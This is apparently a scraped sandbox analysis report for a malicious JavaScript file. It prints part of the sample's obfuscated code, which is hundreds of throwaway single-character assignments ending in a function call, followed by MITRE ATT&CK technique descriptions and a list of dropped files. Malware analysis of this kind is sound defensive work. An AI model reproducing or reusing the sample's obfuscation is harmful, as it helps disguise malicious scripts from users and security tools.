1360	eesczwk = "z";
1361	eesczwk = "u";
1362	eesczwk = "C";
1363	eesczwk = "q";
1364	eesczwk = "q";
1365	eesczwk = "L";
1366	eesczwk = "P";
1367	eesczwk = "x";
1368	eesczwk = "b";
1369	eesczwk = "J";
1370	eesczwk = "k";
1371	eesczwk = "L";
1372	eesczwk = "I";
1373	eesczwk = "a";
1374	eesczwk = "l";
1375	eesczwk = "J";
1376	eesczwk = "z";
1377	eesczwk = "4";
1378	utwpgexcz = "P";
1379	utwpgexcz = "T";
1380	utwpgexcz = "\\";
1381	nlsggv = "n";
1382	nlsggv = "p";
1383	nlsggv = "C";
1384	nlsggv = "A";
1385	nlsggv = "h";
1386	nlsggv = "j";
1387	nlsggv = "V";
1388	nlsggv = "k";
1389	nlsggv = "j";
1390	nlsggv = "s";
1391	nlsggv = "j";
1392	nlsggv = "A";
1393	nlsggv = "l";
1394	nlsggv = "V";
1395	nlsggv = "j";
1396	nlsggv = "P";
1397	nlsggv = "m";
1398	nlsggv = "X";
1399	nlsggv = "Q";
1400	nlsggv = "N";
1401	nlsggv = "s";
1402	nlsggv = "X";
1403	nlsggv = "b";
1404	nlsggv = "V";
1405	nlsggv = "N";
1406	nlsggv = "j";
1407	nlsggv = "B";
1408	nlsggv = "m";
1409	nlsggv = "t";
1410	nlsggv = "o";
1411	nlsggv = "n";
1412	nlsggv = "O";
1413	nlsggv = "m";
1414	nlsggv = "I";
1415	nlsggv = "L";
1416	nlsggv = "B";
1417	nlsggv = "m";
1418	nlsggv = "J";
1419	nlsggv = "y";
1420	nlsggv = "U";
1421	nlsggv = "c";
1422	nlsggv = "l";
1423	gphytzsdp = "T";
1424	gphytzsdp = "N";
1425	gphytzsdp = "e";
1426	gphytzsdp = "N";
1427	gphytzsdp = "g";
1428	gphytzsdp = "k";
1429	gphytzsdp = "e";
1430	gphytzsdp = "v";
1431	gphytzsdp = "i";
1432	gphytzsdp = "h";
1433	gphytzsdp = "b";
1434	gphytzsdp = "G";
1435	gphytzsdp = "s";
1436	gphytzsdp = "w";
1437	gphytzsdp = "k";
1438	gphytzsdp = "E";
1439	gphytzsdp = "I";
1440	gphytzsdp = "f";
1441	gphytzsdp = "n";
1442	gphytzsdp = "r";
1443	gphytzsdp = "J";
1444	gphytzsdp = "U";
1445	gphytzsdp = "1";
1446	ajqcspb = "i";
1447	ajqcspb = "b";
1448	ajqcspb = "W";
1449	ajqcspb = "v";
1450	ajqcspb = "U";
1451	ajqcspb = "r";
1452	ajqcspb = "V";
1453	ajqcspb = "a";
1454	ajqcspb = "q";
1455	ajqcspb = "B";
1456	ajqcspb = "W";
1457	ajqcspb = "a";
1458	ajqcspb = "W";
1459	ajqcspb = "S";
1460	ajqcspb = "y";
1461	ajqcspb = "H";
1462	ajqcspb = "e";
1463	xzbrrey ( );	xzbrrey() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 51406528193621400.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\436455ae-ea95-4c0c-b755-d3d3277a9d73.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4616

Windows Analysis Report
51406528193621400.js